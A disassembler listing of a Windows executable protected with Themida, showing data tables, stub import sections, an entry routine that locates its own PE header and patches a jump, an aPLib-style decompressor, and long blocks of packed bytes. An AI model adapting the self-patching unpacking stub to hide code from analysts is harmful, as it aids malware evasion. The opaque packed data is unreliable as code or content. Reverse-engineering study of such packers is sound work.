word_4CDC64 dw 0 ; DATA XREF: sub_420BAC+67r
word_4CDC66 dw 0 ; DATA XREF: sub_420BAC+70r
; sub_420BAC:loc_420C30r
word_4CDC68 dw 0 ; DATA XREF: sub_420BAC+5Dr
word_4CDC6A dw 0 ; DATA XREF: sub_420BAC+55r
word_4CDC6C dw 0 ; DATA XREF: sub_420BAC+4Dr
word_4CDC6E dw 0 ; DATA XREF: sub_420BAC+3Er
dword_4CDC70 dd 0 ; DATA XREF: sub_42094E+80r
dword_4CDC74 dd 0 ; DATA XREF: sub_42094E+132r
; sub_42094E:loc_420A9Ar ...
dword_4CDC78 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew
dword_4CDC7C dd 0 ; DATA XREF: sub_42105F+3r
; sub_42105F+2Ew ...
dword_4CDC80 dd 0 ; DATA XREF: sub_42105F+43w
; sub_42105F:loc_4210AEr
dword_4CDC84 dd 0 ; DATA XREF: sub_42105F+4Aw
; sub_42105F+60r
dword_4CDC88 dd 0 ; DATA XREF: sub_41FEC6+3Fr
dword_4CDC8C dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r
; sub_421C3C+6Do
dword_4CDC90 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar
; sub_421C3C+44o
dword_4CDC94 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr
; sub_421C3C+37o
dword_4CDC98 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r
; sub_421C3C+51o
align 10h
dword_4CDCA0 dd 0 ; DATA XREF: sub_4221EA+28r
; sub_4221EA+48w ...
dword_4CDCA4 dd 0 ; DATA XREF: sub_422C78+28r
; sub_422C78+4Cw ...
dword_4CDCA8 dd 0 ; DATA XREF: sub_422F03+26r
; sub_422F03:loc_422F6Dw
byte_4CDCAC db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w
align 10h
dword_4CDCB0 dd 2421140h ; DATA XREF: sub_41A835:loc_41A846r
; sub_41AADC+14r ...
align 10h
dword_4CDCC0 dd 400h dup(0) ; DATA XREF: ___:off_436388o
; ___:00436390o
dword_4CECC0 dd 200h ; DATA XREF: sub_41A835+9r
; sub_41A835+56r ...
dd 7 dup(0)
dword_4CECE0 dd 2420650h ; DATA XREF: sub_419D23+B1r
; sub_41E248+75r ...
dword_4CECE4 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o
dword_4CEDE0 dd 20h ; DATA XREF: sub_41A6B7+8r
; sub_41E321+Cr ...
dword_4CEDE4 dd 4E4h ; DATA XREF: sub_41E92D+14r
; sub_41E92D+65w ...
align 10h
dword_4CEDF0 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o
; sub_41E92D+171o ...
dword_4CEDFC dd 0 ; DATA XREF: sub_41E92D+108w
; sub_41E92D+15Dw ...
byte_4CEE00 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w
; sub_41EB6C:loc_41EC95w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4CEF00 db 0 ; DATA XREF: sub_41E92D+5Co
; sub_41E92D+AFo ...
byte_4CEF01 db 0 ; DATA XREF: sub_4192B8+5Dr
; sub_41E92D+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4CF004 dd 0 ; DATA XREF: sub_41E92D+6Ew
; sub_41E92D+12Bw ...
dword_4CF008 dd 0 ; DATA XREF: sub_41B3E6+5r
; sub_41B3E6+32w
dword_4CF00C dd 0 ; DATA XREF: sub_41ADB4+23Ar
; sub_41ADB4+25Ar ...
dword_4CF010 dd 0 ; DATA XREF: sub_41ADB4+311w
; sub_41B0DD:loc_41B12Dr ...
dword_4CF014 dd 0 ; DATA XREF: sub_41ADB4+22Dr
; sub_41ADB4+260r ...
dword_4CF018 dd 0 ; DATA XREF: sub_41AD89r
; sub_41ADB4+2CBr ...
dword_4CF01C dd 0 ; DATA XREF: sub_41AD89+8r
; sub_41ADB4+2D0r ...
dword_4CF020 dd 0 ; DATA XREF: sub_417BC7+Fr
; sub_41944F+5Cr ...
dword_4CF024 dd 2420000h ; DATA XREF: sub_417BC7+66r
; sub_417C3B+5Ar ...
dword_4CF028 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_4CF02C dd 142340h ; DATA XREF: ___:0041F13Er
; ___:0041F269r
dword_4CF030 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr
dword_4CF034 dd 1 ; DATA XREF: sub_41ECF1r
; sub_41ECF1+11w ...
dword_4CF038 dd 2420758h ; DATA XREF: sub_418603+13r
; sub_418603:loc_418645r ...
dword_4CF03C dd 2420758h ; DATA XREF: sub_418603+1r
; sub_418603+Cr ...
dd 3F0h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000D1000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000D1000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4D1000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 000D2000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000D2000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4D2000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0D2050h, 0D2000h, 3 dup(0)
dd 0D2079h, 0D200Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000D3000)
; Virtual size : 000DB000 ( 897024.)
; Section size in file : 000DB000 ( 897024.)
; Offset to raw data for section: 000D3000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 4D3000h
dd 9BEAE079h, 4ECE1h, 5FECAh, 98172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0052DCF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00530FE9 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053125F SIZE 0000004F BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_4D3086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4D3041
popa
jmp short loc_4D3076
; ---------------------------------------------------------------------------
a70m db 'Û-70M',0
db 0FFh
dd 0FFFFFFFFh, 3DFFFFFFh
db 40h
; ---------------------------------------------------------------------------
loc_4D3041: ; CODE XREF: start+18j
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_4D304E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4D306D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4D3074
loc_4D306D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_4D304E
; ---------------------------------------------------------------------------
loc_4D3074: ; CODE XREF: start+57j
mov edi, eax
loc_4D3076: ; CODE XREF: start+1Bj
jmp loc_4D3265
; ---------------------------------------------------------------------------
db 3
aJ2 db 'ǹj2',0Dh,0
dw 0CF03h
db 0EBh, 0Ah
; ---------------------------------------------------------------------------
loc_4D3086: ; CODE XREF: start+8j
mov eax, offset loc_52DCF8
mov ecx, offset word_4D326A
push eax
push ecx
call sub_4D311B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4D3265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4D311B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4D3127: ; CODE XREF: sub_4D311B:loc_4D313Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4D3132: ; CODE XREF: sub_4D311B+7Aj
; sub_4D311B+C3j ...
add dl, dl
jnz short loc_4D313B
mov dl, [esi]
inc esi
adc dl, dl
loc_4D313B: ; CODE XREF: sub_4D311B+19j
jnb short loc_4D3127
add dl, dl
jnz short loc_4D3146
mov dl, [esi]
inc esi
adc dl, dl
loc_4D3146: ; CODE XREF: sub_4D311B+24j
jnb short loc_4D3197
xor eax, eax
add dl, dl
jnz short loc_4D3153
mov dl, [esi]
inc esi
adc dl, dl
loc_4D3153: ; CODE XREF: sub_4D311B+31j
jnb loc_4D3238
add dl, dl
jnz short loc_4D3162
mov dl, [esi]
inc esi
adc dl, dl
loc_4D3162: ; CODE XREF: sub_4D311B+40j
adc eax, eax
add dl, dl
jnz short loc_4D316D
mov dl, [esi]
inc esi
adc dl, dl
loc_4D316D: ; CODE XREF: sub_4D311B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4D3178
mov dl, [esi]
inc esi
adc dl, dl
loc_4D3178: ; CODE XREF: sub_4D311B+56j
adc eax, eax
add dl, dl
jnz short loc_4D3183
mov dl, [esi]
inc esi
adc dl, dl
loc_4D3183: ; CODE XREF: sub_4D311B+61j
adc eax, eax
jz short loc_4D318D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4D318D: ; CODE XREF: sub_4D311B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4D3132
; ---------------------------------------------------------------------------
loc_4D3197: ; CODE XREF: sub_4D311B:loc_4D3146j
mov eax, 1
loc_4D319C: ; CODE XREF: sub_4D311B:loc_4D31B0j
add dl, dl
jnz short loc_4D31A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4D31A5: ; CODE XREF: sub_4D311B+83j
adc eax, eax
add dl, dl
jnz short loc_4D31B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4D31B0: ; CODE XREF: sub_4D311B+8Ej
jb short loc_4D319C
sub eax, ebx
mov ebx, 1
jnz short loc_4D31E3
mov ecx, 1
loc_4D31C0: ; CODE XREF: sub_4D311B:loc_4D31D4j
add dl, dl
jnz short loc_4D31C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4D31C9: ; CODE XREF: sub_4D311B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4D31D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4D31D4: ; CODE XREF: sub_4D311B+B2j
jb short loc_4D31C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4D3132
; ---------------------------------------------------------------------------
loc_4D31E3: ; CODE XREF: sub_4D311B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4D31F1: ; CODE XREF: sub_4D311B:loc_4D3205j
add dl, dl
jnz short loc_4D31FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4D31FA: ; CODE XREF: sub_4D311B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4D3205
mov dl, [esi]
inc esi
adc dl, dl
loc_4D3205: ; CODE XREF: sub_4D311B+E3j
jb short loc_4D31F1
cmp eax, 7D00h
jnb short loc_4D3228
cmp eax, 500h
jb short loc_4D3223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4D3132
; ---------------------------------------------------------------------------
loc_4D3223: ; CODE XREF: sub_4D311B+F8j
cmp eax, 7Fh
ja short loc_4D322B
loc_4D3228: ; CODE XREF: sub_4D311B+F1j
add ecx, 2
loc_4D322B: ; CODE XREF: sub_4D311B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4D3132
; ---------------------------------------------------------------------------
loc_4D3238: ; CODE XREF: sub_4D311B:loc_4D3153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4D3259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4D3132
; ---------------------------------------------------------------------------
loc_4D3259: ; CODE XREF: sub_4D311B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4D311B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4D3265: ; CODE XREF: start:loc_4D3076j
; start+9Dj
jmp loc_52DCF8
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_4D326A dw 38E9h ; DATA XREF: start+77o
dd 15332ECh, 0E101BCAAh, 9822FE0Ah, 52011FE1h, 61747365h
dd 7041CC72h, 78F42EE2h, 5717C2F9h, 700F3359h, 3078FF8Fh
dd 312D3834h, 68540047h, 64696D65h, 0EE1AE161h, 0EF10018Eh
dd 0BAB449AEh, 3DC35E8h, 4AFE7723h, 0AE607A01h, 8033637h
dd 92917757h, 0AFAEC45Ch, 0E2AB0146h, 0FA102E21h, 3521CBAh
dd 445FFD23h, 55087722h, 0C27145FEh, 2491F715h, 0E4F78770h
dd 0E3215C11h, 0D490C58Bh, 10E1E860h, 1ED815Dh, 61F32FBh
dd 407D9589h, 1245B506h, 40658588h, 0BD3D8307h, 74C0C1B1h
dd 0E88B390Ch, 0F4B8E216h, 92F7C22Dh, 0C41B4470h, 21EA3Eh
dd 0A3E8456Ah, 9A6829C0h, 0F4078374h, 250AA0DFh, 0A893D4Bh
dd 0E914D522h, 0AFFC0214h
db 0A0h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
adc eax, 0EED8C483h
sbb byte ptr [edx-7Fh], 0EAh
jmp near ptr 0DAD8B381h
; ---------------------------------------------------------------------------
dw 0C712h
dd 836D845h, 8940310Eh, 0F97D8108h, 741D8C80h, 0FE08200Fh
dd 45536683h, 431812FFh, 0DC36E1EBh, 526DD61h, 104C2C9h
dd 7CC48146h, 4902A3FFh, 343288h, 8B80458Dh, 0C728085Dh
dd 50891985h, 0D10A408Dh, 181588C3h, 140B8941h, 4006BD81h
dd 0E352755Dh, 0BA8D8527h, 7580641Dh, 0BB0E8A80h, 15B92F4h
dd 5437ABB8h, 0F9D0D378h, 4B08870Fh, 0AF60F775h, 0A44647C3h
dd 54468C4Ah, 57D142F9h, 0D0408A61h, 14FBEBF0h, 4DFC45EEh
dd 0AD04EB14h, 80461879h, 0BAF7403Eh, 34DC84A6h, 0EB0C7DC3h
dd 0F83E217Fh, 0F0126D99h, 0F40E9509h, 0C14A0210h, 8004F065h
dd 0E0D1F8D6h, 0C0C27203h, 8ADB3328h, 8039301Ch, 0A7298FBh
dd 7A77390Ah, 0E4EB7D05h, 6114CF22h, 660A0DECh, 1EDE08FEh
dd 0AC39DBEh, 411A1058h, 0A0B6172h, 0BD067746h, 30014424h
dd 0F4ECF05Dh, 2E67D83h, 0CB07236h, 0A5766EC0h, 0F826AACCh
dd 8D0E9C83h, 3B01A8D4h, 820FFC55h, 0B0BD5378h, 387CAA83h
dd 0C108BAA1h, 5070C1B9h, 3578BDFCh, 30FFE80h, 0FA754947h
dd 6A8B22B9h, 3101BBB8h, 82F10E0Eh, 0B002DBEBh, 796868Eh
dd 51072037h, 0E8360765h, 268A9DBBh, 88E97CE2h, 0DC1D8259h
dd 6F434CF8h, 0F06B74B4h, 0C304E953h, 0C45B2123h, 25558A90h
dd 45820519h, 21801508h, 6CC45343h, 3CC8C32Ch, 0EE5CC754h
dd 625D8A44h, 54442117h, 8A6BD8C4h, 1712EA30h, 0CD40E3h
dd 8D363769h, 1A7AE178h, 30F8EB03h, 286A02C2h, 96F1CAh
dd 0A756C482h, 0CB8C22A3h, 677B3470h, 5B4E3900h, 0B8100F76h
dd 43D1F51h, 983B1DD1h, 9756646h, 11602E75h, 0E4EC480Eh
dd 6902965h, 0C584008Eh, 0A9968E05h, 1E53ABA9h, 29C20415h
dd 0F2718C19h, 0AD0EB3E7h, 812B0CFFh, 1D220477h, 84C13401h
dd 207533F9h, 773FBC90h, 0EF670A76h, 41330230h, 7F8C89ECh
dd 90FFCC9Fh, 0EA45CF40h, 625060E9h, 8C5200C4h, 8211254Dh
dd 0CD84B1AAh, 8845AABh, 11915613h, 0EE825E82h, 3281AAB4h
dd 8A3E7211h, 8113B9A8h, 434A9723h, 381100Ch, 80FB413h
dd 6ADA8D67h, 0E2830B85h, 0A281F98Bh, 52254105h, 0C4725A18h
dd 114D8A23h, 52420019h, 51DC33C4h, 82D21FB5h, 0CE1BC4CCh
dd 0D62D8C54h, 0BAD3D91Eh, 5E7AE87h, 1075CFE0h, 4F0C03D1h
dd 0CA0B8F4Eh, 8F2B86C1h, 3C2BC33h, 0D9C82FF1h, 0FA980FF6h
dd 67611F02h, 0C997BC03h, 751EEA62h, 0B0C6017h, 0D2025A58h
dd 3B3AFB1Eh, 0B69069C5h, 20012522h, 8ADAC010h, 8521CDFBh
dd 0A278BC1Ah, 201649C6h, 0E9553372h, 0C0E4C9DAh, 253DE7CEh
dd 454F0127h, 0CF8E6793h, 0B0669BD8h, 0EAFE2474h, 0F11840D4h
dd 69E692BFh, 6A9BFB00h, 12BA8175h, 85380010h, 96B9CB0Dh
dd 0FA065A62h, 65E8C282h, 6A10FDD1h, 0DD00F260h, 3A33FD1h
dd 38D945BDh, 0E189BF8Ch, 59035363h, 0C70C8B8h, 8767323Fh
dd 0FA615BDAh, 9803F925h, 88624F6Bh, 12FCC382h, 143AB8F7h
dd 0F3036AD3h, 21882E68h, 22301E01h, 10EA09C7h, 58238380h
dd 0EEACF436h, 8F976707h, 0CC81D68Ah, 12D8051Ah, 4E07781h
dd 1002EA84h, 8C308882h, 24AFF32h, 73C4161h, 12FF2416h
dd 3F0B80EAh, 6638FA2h, 8462614Bh, 862E4EEFh, 714AF093h
dd 88DC1840h, 0DE6F48C4h, 7D33F800h, 7D5E459h, 0A1BC9F0Fh
dd 0B60C0CBh, 308D02D2h, 0FD180453h, 521890C0h, 0BF1113EFh
dd 1C267A27h, 0C0A29495h, 0D2C6D5DBh, 8002551h, 0E912EB1Eh
dd 74AC457h, 0EE07FC59h, 0BA694C42h, 48F6C030h, 0E9B96918h
dd 0A93C1887h, 73E08F8Dh, 4416B785h, 0FC005EE8h, 56E5428Ah
dd 74ACD557h, 0BCEE0027h, 5C4BDE18h, 6300DD50h, 0FFEC3BE8h
dd 63035E6h, 0F4BA68F1h, 3D00B117h, 0E7EB520Dh, 3FB7282h
dd 4D5C8470h, 0A81C9D39h, 608091ECh, 0BEF34454h, 0FA1F0075h
dd 4A7AB6EAh, 0A3208ACDh, 562F00BCh, 3938D851h, 0EE3805EDh
dd 6806B037h, 0C1A08DCAh, 0EFC65429h, 0E981832Bh, 0F878C58Ah
dd 262D61h, 13C7F2CEh, 7FBD8E37h, 5DACF800h, 4FB48583h
dd 0EB880AE1h, 8C82E3h, 21231BBDh, 0B103DAFBh, 24625A40h
dd 0E94198FAh, 0E86A00E4h, 0FE05ABF9h, 0C9E6689Ah, 49D9C71Fh
dd 0C6441906h, 252D1E08h, 6A2C00CAh, 0A0EEAE61h, 8C1FD807h
dd 184C67A4h, 56A218E8h, 0A3E6DE7Dh, 0AE0C5F54h, 3904191Fh
dd 0F929BF07h, 51D16CCFh, 292D6041h, 5DC21072h, 6CF08A00h
dd 26771579h, 4481001Eh, 895C0FC7h, 0A40C0A76h, 68D729AEh
dd 0A1E31049h, 0FB1907E5h, 0DDE0F525h, 3ED5F6Ch, 9E5EC2C7h
dd 0B03DB6CAh, 21C530B3h, 3E27D661h, 7E0CD374h, 2190E986h
dd 29825500h, 0B81CCA73h, 0F9ED03BFh, 281DFDD0h, 9AAA3800h
dd 0FA2F256Ah, 43D5F9B2h, 12C61986h, 0D90049A2h, 5E917DD0h
dd 39B5762h, 0C83D8C68h, 2E8B52C1h, 8BE96000h, 21A48619h
dd 1D610549h, 40E101C8h, 37AD818Ch, 437B0F26h, 0D9005FE4h
dd 0A4AA4BC3h, 77694C1Dh, 0C91F158Bh, 1909A082h, 0E407E03Dh
dd 0E9E430C5h, 134C0CDCh, 598100CBh, 1BEE81Ch, 31DA6083h
dd 0ACCC0C2Ah, 0C9DCC426h, 91C88E03h, 3A4E81Eh, 20920068h
dd 15D331A8h, 0E8C63D61h, 7712741h, 5D96CDF5h, 7CDFB01Eh
dd 7D01DD57h, 2A2782C0h, 0CC489AE3h, 1D2510B3h, 9E611C36h
dd 18C89114h, 2C207A13h, 0CAD40038h, 4832E982h, 770F01EEh
dd 27399DC5h, 41B3DA2Dh, 0DD790029h, 7D6E7822h, 1D1E402Fh
dd 6F403133h, 0BDB71093h, 53BB24A4h, 7B320A54h, 0ACA900F0h
dd 4E2891D4h, 403DEC01h, 0C7AE7525h, 0B0F9C440h, 21952A1Dh
dd 0FAD73FE4h, 0B2C6C981h, 9F1F5DEDh, 0C7C0E718h, 12C435BEh
dd 64F4A896h, 0EC970089h, 5AE5C038h, 0E703AC5Ch, 7E75169Bh
dd 8B6103CFh, 0E1561D6Ah, 4A8A1107h, 36448679h, 71B36098h
dd 383852F5h, 73D6FE05h, 5C980099h, 2BA0E34Ah, 20C631C0h
dd 59BFA10h, 0AE28963Bh, 1A84472h, 492491D8h, 3BEECC30h
dd 0C24E8E0Eh, 6925809Bh, 0F1D6E8h, 2453A508h, 3382F6A3h
dd 511888h, 81D18A6Dh, 32A23CECh, 80F95801h, 0E95A54FAh
dd 14704020h, 88C97D9Ch, 77796E31h, 3D49ECE6h, 0A3546500h
dd 0F5C9DDF1h, 2672000Eh, 58CBBD47h, 0CE600120h, 37C9EDA1h
dd 0A66B047Ah, 80FDF17Eh, 8285DDECh, 0E02C44h, 0C3ECA2D1h
dd 0C8F08816h, 32634602h, 445AB17Ch, 0B3291A6Ch, 9438896Fh
dd 0D8A8A413h, 0A607E7C5h, 0E537E279h, 34CAB940h, 0DD9F665h
dd 0DF0150FAh, 0D706D099h, 3520ED00h, 3D228DA5h, 414B119Eh
dd 0EFDA0021h, 0E11F0A92h, 281C1824h, 492C71ADh, 74A63324h
dd 0EF15A940h, 6CDC0E52h, 0AB890EE8h, 14E00885h, 0E6129018h
dd 981001FDh, 40853C45h, 0B3B0B16Ch, 6206498h, 0AAA8008Ah
dd 6B021D5Ch, 9400E55Dh, 0B6C72999h, 4492C6h, 4C343841h
dd 6A5F6172h, 0F7AAF800h, 26984F74h, 206E1DA3h, 1C15013Eh
dd 0C81AFFE0h, 231E6AAAh, 0F606E157h, 149829h, 3DEDA1D7h
dd 0F8845DE4h, 6CF7E20Eh, 9084FEECh, 16C0DB19h, 4828A969h
dd 70734829h, 5DBA3CF3h, 0AE89E82h, 0BC663D1Dh, 108413Ch
dd 2AF733D3h, 198381FDh, 8D7F42C8h, 0E9008384h, 53C0DA98h
dd 0B0FAD513h, 0A3CEDC60h, 1B84A096h, 9EE315CAh, 4002A42Ah
dd 0D6B24D67h, 0BE76A203h, 2248984Ah, 95291A63h, 0D203BC7Dh
dd 30827Ah, 0D9C2C611h, 2511E764h, 137893Ch, 0D14EFFA0h
dd 41832A41h, 0DF03B4BDh
dd 28438288h, 0F7B76E00h, 81B69627h, 6B0F0F84h, 0B0A4E6CAh
dd 803C95A5h, 72ABD6C7h, 84074898h, 9CE57787h, 569EE7C0h
dd 0A8B2BEh, 0C0C9734Dh, 8A5B78A4h, 9E656A0Ch, 12AFD005h
dd 44E4202Ch, 0C89DE350h, 0EA6F2D1Ch, 228582D1h, 39B38657h
dd 1F6422F8h, 5281A7Ch, 0A4F488E2h, 0C64C48B0h, 263E8634h
dd 427329h, 0C3C1B54Ch, 6D9BB223h, 60693D06h, 696C12h
dd 0D1FDD67Fh, 0E7A29E84h, 0CD5BE3Ah, 60E1057Eh, 3A1D1821h
dd 228BB9DAh, 3169F2F0h, 9C341810h, 0CEDC0137h, 8EA9B067h
dd 2441E08Ah, 0BEB389C0h, 3DCBCFh, 0E6DE42BBh, 62F6DD59h
dd 0E915B209h, 32080047h, 0B9222C5Ah, 0A4E30428h, 60FC8AD8h
dd 75BB52F6h, 94321DFBh, 97A1C026h, 5F427BC9h, 0B8E42530h
dd 362819BAh, 0C8E923A9h, 4C8EA20h, 4CA31B69h, 952CD19Ah
dd 0AA318836h, 18D1875Bh, 0C2EC4F69h, 8322DD91h, 0F4120030h
dd 0B151C1F3h, 54002AA0h, 72972646h, 92D75EA3h, 0FAF9048Ch
dd 131B2515h, 6F8A6404h, 0CE88B00h, 0D2018C39h, 50527869h
dd 0ACF129FBh, 84402830h, 9E752108h, 2084282Dh, 1230D015h
dd 0A66199E9h, 3C9F48AEh, 1225AF1Dh, 30C4580Ah, 0E4A4FFBDh
dd 0FADC3E54h, 0E1C93C03h, 74A1269Eh, 40ED7138h, 0F93CE839h
dd 20BD182Ah, 1D8E310h, 4AC9496Bh, 82CEE9AEh, 19E0A850h
dd 750C643h, 0D60A0CC4h, 0CB845015h, 970078A0h, 0DA7BBA10h
dd 2AEBBE8h, 0EB983A33h, 4452ED2Ch, 0F0A6E326h, 3E992D41h
dd 0C5001072h, 7124BEDAh, 0DB0FA043h, 6022DE77h, 9A3C853Dh
dd 21A31EF3h, 0EA8C099Ch, 0ED6BF500h, 77351C8Bh, 0C880F98Dh
dd 4A2B9CCEh, 787403D3h, 50A39A8Fh, 0F8E88100h, 565228Ah
dd 9190A0ECh, 0CF1D13AEh, 0C8F40058h, 0D4CCAA92h, 292FC200h
dd 9D66A6C9h, 2BF404B3h, 0A0865521h, 1B1D9834h, 9645764Ah
dd 30025FA4h, 41358AF3h, 37102AF4h, 286041A7h, 73219C21h
dd 0C8AC0FA8h, 0A41BA72h, 0ECDD84EAh, 60AA5F0Dh, 343D2CC0h
dd 8FA6E183h, 0A3401983h, 51122550h, 0F020AF28h, 66867AA1h
dd 21D1A0DCh, 0D873F9h, 5C7871FCh, 39EE7256h, 59808AFAh
dd 0F30398BCh, 114C1F61h, 0DF3D1008h, 0D90B011Bh, 6813D7A8h
dd 8CFA80C0h, 67BAA6FEh, 0CA7A106Ch, 494313BCh, 0AC1013F0h
dd 0EA3062C1h, 0F99290DFh, 20A898A8h, 0E7036EF3h, 0B20ED550h
dd 83F8194Ah, 0F52D40C5h, 0BF3C51CAh, 8B1882C4h, 64822421h
dd 9A2C0E14h, 5CA0267Dh, 0DFDC42AAh, 6F3BB290h, 0F50478DAh
dd 736C370Bh, 0FAD68881h, 0A2E94E00h, 32B11602h, 482A69EDh
dd 2056A4A0h, 0A301D999h, 0D58A8C78h, 6460F91Eh, 63364149h
dd 0DC007424h, 894C573Ah, 3EFAD2C6h, 9E13B831h, 980809B3h
dd 76002C64h, 0B2090AAh, 2688873Bh, 40F04160h, 0A707DA4h
dd 21661103h, 9DEDA65h, 0E72CDFA8h, 7A4DE066h, 0AF311628h
dd 3403A00Ah, 8E1EA111h, 0E260800Fh, 0CCF78965h, 100C234Ch
dd 0C104FED5h, 18D79652h, 28756930h, 2408D6A6h, 722C65A3h
dd 896BA043h, 76049011h, 5DF313B6h, 1A60213Bh, 9C0405D1h
dd 2492F165h, 0F26B20D7h, 8100DFBAh, 0E19D1180h, 1A5287Bh
dd 51AA4491h, 71B28F5Fh, 1CE4C65Eh, 0F86BBF33h, 5766E1AFh
dd 27A4D424h, 500AD55Eh, 0E17A08CCh, 5D40FA18h, 393F812Dh
dd 4192954h, 6058B4C4h, 6180DA59h, 0FC5E599Eh, 0DA15A91Fh
dd 8C0118D9h, 0E687A8h, 613E4DACh, 93EF78CCh, 6692C8F5h
